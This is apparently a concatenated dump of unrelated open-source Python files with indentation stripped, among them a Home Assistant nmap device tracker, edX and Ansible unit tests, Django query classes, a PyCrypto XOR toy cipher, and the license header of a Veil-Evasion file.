self.worker.terminal_log = False
self.worker.terminal_title = False
self.assertFalse(self.worker._should_display())
@patch('pokemongo_bot.cell_workers.update_live_stats.datetime')
def test_should_display_before_next_update(self, mock_datetime):
now = datetime.now()
mock_datetime.now.return_value = now - timedelta(seconds=20)
self.worker.next_update = now
self.assertFalse(self.worker._should_display())
@patch('pokemongo_bot.cell_workers.update_live_stats.datetime')
def test_should_display_after_next_update(self, mock_datetime):
now = datetime.now()
mock_datetime.now.return_value = now + timedelta(seconds=20)
self.worker.next_update = now
self.assertTrue(self.worker._should_display())
@patch('pokemongo_bot.cell_workers.update_live_stats.datetime')
def test_should_display_exactly_next_update(self, mock_datetime):
now = datetime.now()
mock_datetime.now.return_value = now
self.worker.next_update = now
self.assertTrue(self.worker._should_display())
@patch('pokemongo_bot.cell_workers.update_live_stats.datetime')
def test_compute_next_update(self, mock_datetime):
now = datetime.now()
mock_datetime.now.return_value = now
old_next_display_value = self.worker.next_update
self.worker._compute_next_update()
self.assertNotEqual(self.worker.next_update, old_next_display_value)
self.assertEqual(self.worker.next_update,
now + timedelta(seconds=self.config['min_interval']))
@patch('pokemongo_bot.cell_workers.update_live_stats.stdout')
@patch('pokemongo_bot.cell_workers.UpdateLiveStats._compute_next_update')
def test_update_title_linux_cygwin(self, mock_compute_next_update, mock_stdout):
self.worker._update_title('new title linux', 'linux')
self.assertEqual(mock_stdout.write.call_count, 1)
self.assertEqual(mock_stdout.write.call_args, call('\x1b]2;new title linux\x07'))
self.assertEqual(mock_compute_next_update.call_count, 1)
self.worker._update_title('new title linux2', 'linux2')
self.assertEqual(mock_stdout.write.call_count, 2)
self.assertEqual(mock_stdout.write.call_args, call('\x1b]2;new title linux2\x07'))
self.assertEqual(mock_compute_next_update.call_count, 2)
self.worker._update_title('new title cygwin', 'cygwin')
self.assertEqual(mock_stdout.write.call_count, 3)
self.assertEqual(mock_stdout.write.call_args, call('\x1b]2;new title cygwin\x07'))
self.assertEqual(mock_compute_next_update.call_count, 3)
@patch('pokemongo_bot.cell_workers.update_live_stats.stdout')
@patch('pokemongo_bot.cell_workers.UpdateLiveStats._compute_next_update')
def test_update_title_darwin(self, mock_compute_next_update, mock_stdout):
self.worker._update_title('new title darwin', 'darwin')
self.assertEqual(mock_stdout.write.call_count, 1)
self.assertEqual(mock_stdout.write.call_args, call('\033]0;new title darwin\007'))
self.assertEqual(mock_compute_next_update.call_count, 1)
@unittest.skipUnless(_platform.startswith("win"), "requires Windows")
@patch('pokemongo_bot.cell_workers.update_live_stats.ctypes')
@patch('pokemongo_bot.cell_workers.UpdateLiveStats._compute_next_update')
def test_update_title_win32(self, mock_compute_next_update, mock_ctypes):
self.worker._update_title('new title win32', 'win32')
self.assertEqual(mock_ctypes.windll.kernel32.SetConsoleTitleA.call_count, 1)
self.assertEqual(mock_ctypes.windll.kernel32.SetConsoleTitleA.call_args,
call('new title win32'))
self.assertEqual(mock_compute_next_update.call_count, 1)
@patch('pokemongo_bot.cell_workers.update_live_stats.BaseTask.emit_event')
@patch('pokemongo_bot.cell_workers.UpdateLiveStats._compute_next_update')
def test_log_on_terminal(self, mock_compute_next_update, mock_emit_event):
#self.worker._log_on_terminal('stats')
self.assertEqual(mock_emit_event.call_count, 0)
#self.assertEqual(mock_emit_event.call_args,
# call('log_stats', data={'stats': 'stats', 'stats_raw':'stats_raw'}, formatted='{stats},{stats_raw}'))
self.assertEqual(mock_compute_next_update.call_count, 0)
def test_get_stats_line_player_stats_none(self):
line = self.worker._get_stats_line(None)
self.assertEqual(line, '')
def test_get_stats_line_no_displayed_stats(self):
self.mock_metrics()
self.worker.displayed_stats = []
line = self.worker._get_stats_line(self.worker._get_stats(self.player_stats))
self.assertEqual(line, '')
def test_get_stats_line(self):
self.mock_metrics()
line = self.worker._get_stats_line(self.worker._get_stats(self.player_stats))
expected = 'Login | Username | Evolved 12 pokemon | Encountered 130 pokemon | ' \
'Uptime : 15:42:13 | Caught 120 pokemon | Visited 220 stops | ' \
'42.05km walked | Level 25 | Earned 24,069 Stardust | ' \
'43,700 / 190,000 XP (23%) | 1,337 XP/h | Threw 145 pokeballs | ' \
'Highest CP pokemon : highest_cp | Level 25 (43,700 / 190,000, 23%) | ' \
'+424,242 XP | Encountered 3 new pokemon | ' \
'Most perfect pokemon : most_perfect | ' \
'Encountered 130 pokemon, 120 caught, 30 released, 12 evolved, ' \
'3 never seen before | Released 30 pokemon | 75 pokemon/h'
self.assertEqual(line, expected)
| mit |
jamespcole/home-assistant | homeassistant/components/nmap_tracker/device_tracker.py | 1 | 4634 | """Support for scanning a network with nmap."""
import logging
import re
import subprocess
from collections import namedtuple
from datetime import timedelta
import voluptuous as vol
import homeassistant.helpers.config_validation as cv
import homeassistant.util.dt as dt_util
from homeassistant.components.device_tracker import (
DOMAIN, PLATFORM_SCHEMA, DeviceScanner)
from homeassistant.const import CONF_HOSTS
REQUIREMENTS = ['python-nmap==0.6.1']
_LOGGER = logging.getLogger(__name__)
CONF_EXCLUDE = 'exclude'
# Interval in minutes to exclude devices from a scan while they are home
CONF_HOME_INTERVAL = 'home_interval'
CONF_OPTIONS = 'scan_options'
DEFAULT_OPTIONS = '-F --host-timeout 5s'
PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({
vol.Required(CONF_HOSTS): cv.ensure_list,
vol.Required(CONF_HOME_INTERVAL, default=0): cv.positive_int,
vol.Optional(CONF_EXCLUDE, default=[]):
vol.All(cv.ensure_list, [cv.string]),
vol.Optional(CONF_OPTIONS, default=DEFAULT_OPTIONS):
cv.string
})
def get_scanner(hass, config):
"""Validate the configuration and return a Nmap scanner."""
return NmapDeviceScanner(config[DOMAIN])
Device = namedtuple('Device', ['mac', 'name', 'ip', 'last_update'])
def _arp(ip_address):
"""Get the MAC address for a given IP."""
cmd = ['arp', '-n', ip_address]
arp = subprocess.Popen(cmd, stdout=subprocess.PIPE)
out, _ = arp.communicate()
match = re.search(r'(([0-9A-Fa-f]{1,2}\:){5}[0-9A-Fa-f]{1,2})', str(out))
if match:
return match.group(0)
_LOGGER.info('No MAC address found for %s', ip_address)
return None
class NmapDeviceScanner(DeviceScanner):
"""This class scans for devices using nmap."""
exclude = []
def __init__(self, config):
"""Initialize the scanner."""
self.last_results = []
self.hosts = config[CONF_HOSTS]
self.exclude = config[CONF_EXCLUDE]
minutes = config[CONF_HOME_INTERVAL]
self._options = config[CONF_OPTIONS]
self.home_interval = timedelta(minutes=minutes)
_LOGGER.debug("Scanner initialized")
def scan_devices(self):
"""Scan for new devices and return a list with found device IDs."""
self._update_info()
_LOGGER.debug("Nmap last results %s", self.last_results)
return [device.mac for device in self.last_results]
def get_device_name(self, device):
"""Return the name of the given device or None if we don't know."""
filter_named = [result.name for result in self.last_results
if result.mac == device]
if filter_named:
return filter_named[0]
return None
def get_extra_attributes(self, device):
"""Return the IP of the given device."""
filter_ip = next((
result.ip for result in self.last_results
if result.mac == device), None)
return {'ip': filter_ip}
def _update_info(self):
"""Scan the network for devices.
Returns boolean if scanning successful.
"""
_LOGGER.debug("Scanning...")
from nmap import PortScanner, PortScannerError
scanner = PortScanner()
options = self._options
if self.home_interval:
boundary = dt_util.now() - self.home_interval
last_results = [device for device in self.last_results
if device.last_update > boundary]
if last_results:
exclude_hosts = self.exclude + [device.ip for device
in last_results]
else:
exclude_hosts = self.exclude
else:
last_results = []
exclude_hosts = self.exclude
if exclude_hosts:
options += ' --exclude {}'.format(','.join(exclude_hosts))
try:
result = scanner.scan(hosts=' '.join(self.hosts),
arguments=options)
except PortScannerError:
return False
now = dt_util.now()
for ipv4, info in result['scan'].items():
if info['status']['state'] != 'up':
continue
name = info['hostnames'][0]['name'] if info['hostnames'] else ipv4
# Mac address only returned if nmap ran as root
mac = info['addresses'].get('mac') or _arp(ipv4)
if mac is None:
continue
last_results.append(Device(mac.upper(), name, ipv4, now))
self.last_results = last_results
_LOGGER.debug("nmap scan successful")
return True
| apache-2.0 |
mmcardle/django_app_cookie | hooks/pre_gen_project.py | 1 | 1367 | #!/usr/bin/python
__author__ = 'mm'
import json
import os
print "Start Generate Templates Hook"
cookie_dir = '{{cookiecutter.app_name}}'
project_base = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))
json_file = os.path.join(project_base, 'cookiecutter.json')
base_templates = os.path.join(project_base , 'base_templates')
cookie_templates = os.path.join(project_base, cookie_dir,
'templates', cookie_dir)
js = json.load(open(json_file, 'r'))
from jinja2 import FileSystemLoader
from jinja2.environment import Environment
from jinja2 import Template
env = Environment()
env.loader = FileSystemLoader(".")
for model in js['models']:
for f in os.listdir(base_templates):
basename = os.path.basename(f)
cookie_filename = "%s_%s" % (model.lower(), basename)
base_file = os.path.join(base_templates, f)
cookie_file = os.path.join(cookie_templates, cookie_filename)
ctx = js.copy()
ctx.update({'model': model})
_f_in = open(base_file, 'r')
template = Template(_f_in.read())
_f_in.close()
output = template.render(**ctx)
_f_out = open(cookie_file, 'wb')
_f_out.write('{%% raw %%}%s{%% endraw %%}' % output)
_f_out.close()
print "Created Template %s" % cookie_file
print "End Generate Templates Hook" | mit |
xiandiancloud/edx-platform | lms/djangoapps/instructor/management/tests/test_openended_commands.py | 33 | 8217 | """Test the openended_post management command."""
from datetime import datetime
import json
from mock import patch
from pytz import UTC
from django.test.utils import override_settings
import capa.xqueue_interface as xqueue_interface
from opaque_keys.edx.locations import Location
from xmodule.modulestore.tests.django_utils import ModuleStoreTestCase
from xmodule.open_ended_grading_classes.openendedchild import OpenEndedChild
from xmodule.tests.test_util_open_ended import (
STATE_INITIAL, STATE_ACCESSING, STATE_POST_ASSESSMENT
)
from courseware.courses import get_course_with_access
from courseware.tests.factories import StudentModuleFactory, UserFactory
from courseware.tests.modulestore_config import TEST_DATA_MIXED_MODULESTORE
from student.models import anonymous_id_for_user
from instructor.management.commands.openended_post import post_submission_for_student
from instructor.management.commands.openended_stats import calculate_task_statistics
from instructor.utils import get_module_for_student
from opaque_keys.edx.locations import SlashSeparatedCourseKey
@override_settings(MODULESTORE=TEST_DATA_MIXED_MODULESTORE)
class OpenEndedPostTest(ModuleStoreTestCase):
"""Test the openended_post management command."""
def setUp(self):
self.course_id = SlashSeparatedCourseKey("edX", "open_ended", "2012_Fall")
self.problem_location = Location("edX", "open_ended", "2012_Fall", "combinedopenended", "SampleQuestion")
self.self_assessment_task_number = 0
self.open_ended_task_number = 1
self.student_on_initial = UserFactory()
self.student_on_accessing = UserFactory()
self.student_on_post_assessment = UserFactory()
StudentModuleFactory.create(
course_id=self.course_id,
module_state_key=self.problem_location,
student=self.student_on_initial,
grade=0,
max_grade=1,
state=STATE_INITIAL
)
StudentModuleFactory.create(
course_id=self.course_id,
module_state_key=self.problem_location,
student=self.student_on_accessing,
grade=0,
max_grade=1,
state=STATE_ACCESSING
)
StudentModuleFactory.create(
course_id=self.course_id,
module_state_key=self.problem_location,
student=self.student_on_post_assessment,
grade=0,
max_grade=1,
state=STATE_POST_ASSESSMENT
)
def test_post_submission_for_student_on_initial(self):
course = get_course_with_access(self.student_on_initial, 'load', self.course_id)
dry_run_result = post_submission_for_student(self.student_on_initial, course, self.problem_location, self.open_ended_task_number, dry_run=True)
self.assertFalse(dry_run_result)
result = post_submission_for_student(self.student_on_initial, course, self.problem_location, self.open_ended_task_number, dry_run=False)
self.assertFalse(result)
def test_post_submission_for_student_on_accessing(self):
course = get_course_with_access(self.student_on_accessing, 'load', self.course_id)
dry_run_result = post_submission_for_student(self.student_on_accessing, course, self.problem_location, self.open_ended_task_number, dry_run=True)
self.assertFalse(dry_run_result)
with patch('capa.xqueue_interface.XQueueInterface.send_to_queue') as mock_send_to_queue:
mock_send_to_queue.return_value = (0, "Successfully queued")
module = get_module_for_student(self.student_on_accessing, self.problem_location)
task = module.child_module.get_task_number(self.open_ended_task_number)
student_response = "Here is an answer."
student_anonymous_id = anonymous_id_for_user(self.student_on_accessing, None)
submission_time = datetime.strftime(datetime.now(UTC), xqueue_interface.dateformat)
result = post_submission_for_student(self.student_on_accessing, course, self.problem_location, self.open_ended_task_number, dry_run=False)
self.assertTrue(result)
mock_send_to_queue_body_arg = json.loads(mock_send_to_queue.call_args[1]['body'])
self.assertEqual(mock_send_to_queue_body_arg['max_score'], 2)
self.assertEqual(mock_send_to_queue_body_arg['student_response'], student_response)
body_arg_student_info = json.loads(mock_send_to_queue_body_arg['student_info'])
self.assertEqual(body_arg_student_info['anonymous_student_id'], student_anonymous_id)
self.assertGreaterEqual(body_arg_student_info['submission_time'], submission_time)
def test_post_submission_for_student_on_post_assessment(self):
course = get_course_with_access(self.student_on_post_assessment, 'load', self.course_id)
dry_run_result = post_submission_for_student(self.student_on_post_assessment, course, self.problem_location, self.open_ended_task_number, dry_run=True)
self.assertFalse(dry_run_result)
result = post_submission_for_student(self.student_on_post_assessment, course, self.problem_location, self.open_ended_task_number, dry_run=False)
self.assertFalse(result)
def test_post_submission_for_student_invalid_task(self):
course = get_course_with_access(self.student_on_accessing, 'load', self.course_id)
result = post_submission_for_student(self.student_on_accessing, course, self.problem_location, self.self_assessment_task_number, dry_run=False)
self.assertFalse(result)
out_of_bounds_task_number = 3
result = post_submission_for_student(self.student_on_accessing, course, self.problem_location, out_of_bounds_task_number, dry_run=False)
self.assertFalse(result)
@override_settings(MODULESTORE=TEST_DATA_MIXED_MODULESTORE)
class OpenEndedStatsTest(ModuleStoreTestCase):
"""Test the openended_stats management command."""
def setUp(self):
self.course_id = SlashSeparatedCourseKey("edX", "open_ended", "2012_Fall")
self.problem_location = Location("edX", "open_ended", "2012_Fall", "combinedopenended", "SampleQuestion")
self.task_number = 1
self.invalid_task_number = 3
self.student_on_initial = UserFactory()
self.student_on_accessing = UserFactory()
self.student_on_post_assessment = UserFactory()
StudentModuleFactory.create(
course_id=self.course_id,
module_state_key=self.problem_location,
student=self.student_on_initial,
grade=0,
max_grade=1,
state=STATE_INITIAL
)
StudentModuleFactory.create(
course_id=self.course_id,
module_state_key=self.problem_location,
student=self.student_on_accessing,
grade=0,
max_grade=1,
state=STATE_ACCESSING
)
StudentModuleFactory.create(
course_id=self.course_id,
module_state_key=self.problem_location,
student=self.student_on_post_assessment,
grade=0,
max_grade=1,
state=STATE_POST_ASSESSMENT
)
self.students = [self.student_on_initial, self.student_on_accessing, self.student_on_post_assessment]
def test_calculate_task_statistics(self):
course = get_course_with_access(self.student_on_accessing, 'load', self.course_id)
stats = calculate_task_statistics(self.students, course, self.problem_location, self.task_number, write_to_file=False)
self.assertEqual(stats[OpenEndedChild.INITIAL], 1)
self.assertEqual(stats[OpenEndedChild.ASSESSING], 1)
self.assertEqual(stats[OpenEndedChild.POST_ASSESSMENT], 1)
self.assertEqual(stats[OpenEndedChild.DONE], 0)
stats = calculate_task_statistics(self.students, course, self.problem_location, self.invalid_task_number, write_to_file=False)
self.assertEqual(stats[OpenEndedChild.INITIAL], 0)
self.assertEqual(stats[OpenEndedChild.ASSESSING], 0)
self.assertEqual(stats[OpenEndedChild.POST_ASSESSMENT], 0)
self.assertEqual(stats[OpenEndedChild.DONE], 0)
| agpl-3.0 |
cortedeltimo/SickRage | lib/github/tests/__init__.py | 9 | 1888 | # -*- coding: utf-8 -*-
# ########################## Copyrights and license ############################
# #
# Copyright 2012 Vincent Jacques <vincent@vincent-jacques.net> #
# Copyright 2012 Zearin <zearin@gonk.net> #
# Copyright 2013 Vincent Jacques <vincent@vincent-jacques.net> #
# #
# This file is part of PyGithub. #
# http://pygithub.github.io/PyGithub/v1/index.html #
# #
# PyGithub is free software: you can redistribute it and/or modify it under #
# the terms of the GNU Lesser General Public License as published by the Free #
# Software Foundation, either version 3 of the License, or (at your option) #
# any later version. #
# #
# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY #
# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS #
# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more #
# details. #
# #
# You should have received a copy of the GNU Lesser General Public License #
# along with PyGithub. If not, see <http://www.gnu.org/licenses/>. #
# #
# ##############################################################################
| gpl-3.0 |
toshywoshy/ansible | test/units/modules/net_tools/nios/test_nios_host_record.py | 21 | 5386 | # This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
from ansible.modules.net_tools.nios import nios_host_record
from ansible.module_utils.net_tools.nios import api
from units.compat.mock import patch, MagicMock, Mock
from .test_nios_module import TestNiosModule, load_fixture
class TestNiosHostRecordModule(TestNiosModule):
module = nios_host_record
def setUp(self):
super(TestNiosHostRecordModule, self).setUp()
self.module = MagicMock(name='ansible.modules.net_tools.nios.nios_host_record.WapiModule')
self.module.check_mode = False
self.module.params = {'provider': None}
self.mock_wapi = patch('ansible.modules.net_tools.nios.nios_host_record.WapiModule')
self.exec_command = self.mock_wapi.start()
self.mock_wapi_run = patch('ansible.modules.net_tools.nios.nios_host_record.WapiModule.run')
self.mock_wapi_run.start()
self.load_config = self.mock_wapi_run.start()
def tearDown(self):
super(TestNiosHostRecordModule, self).tearDown()
self.mock_wapi.stop()
def _get_wapi(self, test_object):
wapi = api.WapiModule(self.module)
wapi.get_object = Mock(name='get_object', return_value=test_object)
wapi.create_object = Mock(name='create_object')
wapi.update_object = Mock(name='update_object')
wapi.delete_object = Mock(name='delete_object')
return wapi
def load_fixtures(self, commands=None):
self.exec_command.return_value = (0, load_fixture('nios_result.txt').strip(), None)
self.load_config.return_value = dict(diff=None, session='session')
def test_nios_host_record_create(self):
self.module.params = {'provider': None, 'state': 'present', 'name': 'ansible',
'comment': None, 'extattrs': None}
test_object = None
test_spec = {
"name": {"ib_req": True},
"comment": {},
"extattrs": {}
}
wapi = self._get_wapi(test_object)
print("WAPI: ", wapi)
res = wapi.run('testobject', test_spec)
self.assertTrue(res['changed'])
wapi.create_object.assert_called_once_with('testobject', {'name': self.module._check_type_dict().__getitem__()})
def test_nios_host_record_remove(self):
self.module.params = {'provider': None, 'state': 'absent', 'name': 'ansible',
'comment': None, 'extattrs': None}
ref = "record:host/ZG5zLm5ldHdvcmtfdmlldyQw:ansible/false"
test_object = [{
"comment": "test comment",
"_ref": ref,
"name": "ansible",
"extattrs": {'Site': {'value': 'test'}}
}]
test_spec = {
"name": {"ib_req": True},
"comment": {},
"extattrs": {}
}
wapi = self._get_wapi(test_object)
res = wapi.run('testobject', test_spec)
self.assertTrue(res['changed'])
wapi.delete_object.assert_called_once_with(ref)
def test_nios_host_record_update_comment(self):
self.module.params = {'provider': None, 'state': 'present', 'name': 'default',
'comment': 'updated comment', 'extattrs': None}
test_object = [
{
"comment": "test comment",
"_ref": "record:host/ZG5zLm5ldHdvcmtfdmlldyQw:default/true",
"name": "default",
"extattrs": {}
}
]
test_spec = {
"name": {"ib_req": True},
"comment": {},
"extattrs": {}
}
wapi = self._get_wapi(test_object)
res = wapi.run('testobject', test_spec)
self.assertTrue(res['changed'])
wapi.update_object.called_once_with(test_object)
def test_nios_host_record_update_record_name(self):
self.module.params = {'provider': None, 'state': 'present', 'name': {'new_name': 'default', 'old_name': 'old_default'},
'comment': 'comment', 'extattrs': None}
test_object = [
{
"comment": "test comment",
"_ref": "record:host/ZG5zLm5ldHdvcmtfdmlldyQw:default/true",
"name": "default",
"old_name": "old_default",
"extattrs": {}
}
]
test_spec = {
"name": {"ib_req": True},
"comment": {},
"extattrs": {}
}
wapi = self._get_wapi(test_object)
res = wapi.run('testobject', test_spec)
self.assertTrue(res['changed'])
wapi.update_object.called_once_with(test_object)
| gpl-3.0 |
nrhine1/scikit-learn | examples/linear_model/plot_sgd_separating_hyperplane.py | 260 | 1219 | """
=========================================
SGD: Maximum margin separating hyperplane
=========================================
Plot the maximum margin separating hyperplane within a two-class
separable dataset using a linear Support Vector Machines classifier
trained using SGD.
"""
print(__doc__)
import numpy as np
import matplotlib.pyplot as plt
from sklearn.linear_model import SGDClassifier
from sklearn.datasets.samples_generator import make_blobs
# we create 50 separable points
X, Y = make_blobs(n_samples=50, centers=2, random_state=0, cluster_std=0.60)
# fit the model
clf = SGDClassifier(loss="hinge", alpha=0.01, n_iter=200, fit_intercept=True)
clf.fit(X, Y)
# plot the line, the points, and the nearest vectors to the plane
xx = np.linspace(-1, 5, 10)
yy = np.linspace(-1, 5, 10)
X1, X2 = np.meshgrid(xx, yy)
Z = np.empty(X1.shape)
for (i, j), val in np.ndenumerate(X1):
x1 = val
x2 = X2[i, j]
p = clf.decision_function([x1, x2])
Z[i, j] = p[0]
levels = [-1.0, 0.0, 1.0]
linestyles = ['dashed', 'solid', 'dashed']
colors = 'k'
plt.contour(X1, X2, Z, levels, colors=colors, linestyles=linestyles)
plt.scatter(X[:, 0], X[:, 1], c=Y, cmap=plt.cm.Paired)
plt.axis('tight')
plt.show()
| bsd-3-clause |
saurabhbajaj207/CarpeDiem | venv/Lib/site-packages/Crypto/Cipher/XOR.py | 126 | 2737 | # -*- coding: utf-8 -*-
#
# Cipher/XOR.py : XOR
#
# ===================================================================
# The contents of this file are dedicated to the public domain. To
# the extent that dedication to the public domain is not available,
# everyone is granted a worldwide, perpetual, royalty-free,
# non-exclusive license to exercise all rights associated with the
# contents of this file for any purpose whatsoever.
# No rights are reserved.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
# ===================================================================
"""XOR toy cipher
XOR is one the simplest stream ciphers. Encryption and decryption are
performed by XOR-ing data with a keystream made by contatenating
the key.
Do not use it for real applications!
:undocumented: __revision__, __package__
"""
__revision__ = "$Id$"
from Crypto.Cipher import _XOR
class XORCipher:
"""XOR cipher object"""
def __init__(self, key, *args, **kwargs):
"""Initialize a XOR cipher object
See also `new()` at the module level."""
self._cipher = _XOR.new(key, *args, **kwargs)
self.block_size = self._cipher.block_size
self.key_size = self._cipher.key_size
def encrypt(self, plaintext):
"""Encrypt a piece of data.
:Parameters:
plaintext : byte string
The piece of data to encrypt. It can be of any size.
:Return: the encrypted data (byte string, as long as the
plaintext).
"""
return self._cipher.encrypt(plaintext)
def decrypt(self, ciphertext):
"""Decrypt a piece of data.
:Parameters:
ciphertext : byte string
The piece of data to decrypt. It can be of any size.
:Return: the decrypted data (byte string, as long as the
ciphertext).
"""
return self._cipher.decrypt(ciphertext)
def new(key, *args, **kwargs):
"""Create a new XOR cipher
:Parameters:
key : byte string
The secret key to use in the symmetric cipher.
Its length may vary from 1 to 32 bytes.
:Return: an `XORCipher` object
"""
return XORCipher(key, *args, **kwargs)
#: Size of a data block (in bytes)
block_size = 1
#: Size of a key (in bytes)
key_size = xrange(1,32+1)
| mit |
hectord/lettuce | tests/integration/lib/Django-1.3/django/db/models/sql/subqueries.py | 230 | 8070 | """
Query subclasses which provide extra functionality beyond simple data retrieval.
"""
from django.core.exceptions import FieldError
from django.db import connections
from django.db.models.fields import DateField, FieldDoesNotExist
from django.db.models.sql.constants import *
from django.db.models.sql.datastructures import Date
from django.db.models.sql.expressions import SQLEvaluator
from django.db.models.sql.query import Query
from django.db.models.sql.where import AND, Constraint
__all__ = ['DeleteQuery', 'UpdateQuery', 'InsertQuery', 'DateQuery',
'AggregateQuery']
class DeleteQuery(Query):
"""
Delete queries are done through this class, since they are more constrained
than general queries.
"""
compiler = 'SQLDeleteCompiler'
def do_query(self, table, where, using):
self.tables = [table]
self.where = where
self.get_compiler(using).execute_sql(None)
def delete_batch(self, pk_list, using, field=None):
"""
Set up and execute delete queries for all the objects in pk_list.
More than one physical query may be executed if there are a
lot of values in pk_list.
"""
if not field:
field = self.model._meta.pk
for offset in range(0, len(pk_list), GET_ITERATOR_CHUNK_SIZE):
where = self.where_class()
where.add((Constraint(None, field.column, field), 'in',
pk_list[offset : offset + GET_ITERATOR_CHUNK_SIZE]), AND)
self.do_query(self.model._meta.db_table, where, using=using)
class UpdateQuery(Query):
"""
Represents an "update" SQL query.
"""
compiler = 'SQLUpdateCompiler'
def __init__(self, *args, **kwargs):
super(UpdateQuery, self).__init__(*args, **kwargs)
self._setup_query()
def _setup_query(self):
"""
Runs on initialization and after cloning. Any attributes that would
normally be set in __init__ should go in here, instead, so that they
are also set up after a clone() call.
"""
self.values = []
self.related_ids = None
if not hasattr(self, 'related_updates'):
self.related_updates = {}
def clone(self, klass=None, **kwargs):
return super(UpdateQuery, self).clone(klass,
related_updates=self.related_updates.copy(), **kwargs)
def update_batch(self, pk_list, values, using):
pk_field = self.model._meta.pk
self.add_update_values(values)
for offset in range(0, len(pk_list), GET_ITERATOR_CHUNK_SIZE):
self.where = self.where_class()
self.where.add((Constraint(None, pk_field.column, pk_field), 'in',
pk_list[offset : offset + GET_ITERATOR_CHUNK_SIZE]),
AND)
self.get_compiler(using).execute_sql(None)
def add_update_values(self, values):
"""
Convert a dictionary of field name to value mappings into an update
query. This is the entry point for the public update() method on
querysets.
"""
values_seq = []
for name, val in values.iteritems():
field, model, direct, m2m = self.model._meta.get_field_by_name(name)
if not direct or m2m:
raise FieldError('Cannot update model field %r (only non-relations and foreign keys permitted).' % field)
if model:
self.add_related_update(model, field, val)
continue
values_seq.append((field, model, val))
return self.add_update_fields(values_seq)
def add_update_fields(self, values_seq):
"""
Turn a sequence of (field, model, value) triples into an update query.
Used by add_update_values() as well as the "fast" update path when
saving models.
"""
self.values.extend(values_seq)
def add_related_update(self, model, field, value):
"""
Adds (name, value) to an update query for an ancestor model.
Updates are coalesced so that we only run one update query per ancestor.
"""
try:
self.related_updates[model].append((field, None, value))
except KeyError:
self.related_updates[model] = [(field, None, value)]
def get_related_updates(self):
"""
Returns a list of query objects: one for each update required to an
ancestor model. Each query will have the same filtering conditions as
the current query but will only update a single table.
"""
if not self.related_updates:
return []
result = []
for model, values in self.related_updates.iteritems():
query = UpdateQuery(model)
query.values = values
if self.related_ids is not None:
query.add_filter(('pk__in', self.related_ids))
result.append(query)
return result
class InsertQuery(Query):
compiler = 'SQLInsertCompiler'
def __init__(self, *args, **kwargs):
super(InsertQuery, self).__init__(*args, **kwargs)
self.columns = []
self.values = []
self.params = ()
def clone(self, klass=None, **kwargs):
extras = {
'columns': self.columns[:],
'values': self.values[:],
'params': self.params
}
extras.update(kwargs)
return super(InsertQuery, self).clone(klass, **extras)
def insert_values(self, insert_values, raw_values=False):
"""
Set up the insert query from the 'insert_values' dictionary. The
dictionary gives the model field names and their target values.
If 'raw_values' is True, the values in the 'insert_values' dictionary
are inserted directly into the query, rather than passed as SQL
parameters. This provides a way to insert NULL and DEFAULT keywords
into the query, for example.
"""
placeholders, values = [], []
for field, val in insert_values:
placeholders.append((field, val))
self.columns.append(field.column)
values.append(val)
if raw_values:
self.values.extend([(None, v) for v in values])
else:
self.params += tuple(values)
self.values.extend(placeholders)
class DateQuery(Query):
"""
A DateQuery is a normal query, except that it specifically selects a single
date field. This requires some special handling when converting the results
back to Python objects, so we put it in a separate class.
"""
compiler = 'SQLDateCompiler'
def add_date_select(self, field_name, lookup_type, order='ASC'):
"""
Converts the query into a date extraction query.
"""
try:
result = self.setup_joins(
field_name.split(LOOKUP_SEP),
self.get_meta(),
self.get_initial_alias(),
False
)
except FieldError:
raise FieldDoesNotExist("%s has no field named '%s'" % (
self.model._meta.object_name, field_name
))
field = result[0]
assert isinstance(field, DateField), "%r isn't a DateField." \
% field.name
alias = result[3][-1]
select = Date((alias, field.column), lookup_type)
self.select = [select]
self.select_fields = [None]
self.select_related = False # See #7097.
self.set_extra_mask([])
self.distinct = True
self.order_by = order == 'ASC' and [1] or [-1]
if field.null:
self.add_filter(("%s__isnull" % field_name, False))
class AggregateQuery(Query):
"""
An AggregateQuery takes another query as a parameter to the FROM
clause and only selects the elements in the provided list.
"""
compiler = 'SQLAggregateCompiler'
def add_subquery(self, query, using):
self.subquery, self.sub_params = query.get_compiler(using).as_sql(with_col_aliases=True)
| gpl-3.0 |
api0cradle/Veil-Evasion | tools/backdoor/intel/LinuxIntelELF64.py | 37 | 5588 | '''
Copyright (c) 2013-2014, Joshua Pitts
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its contributors
may be used to endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
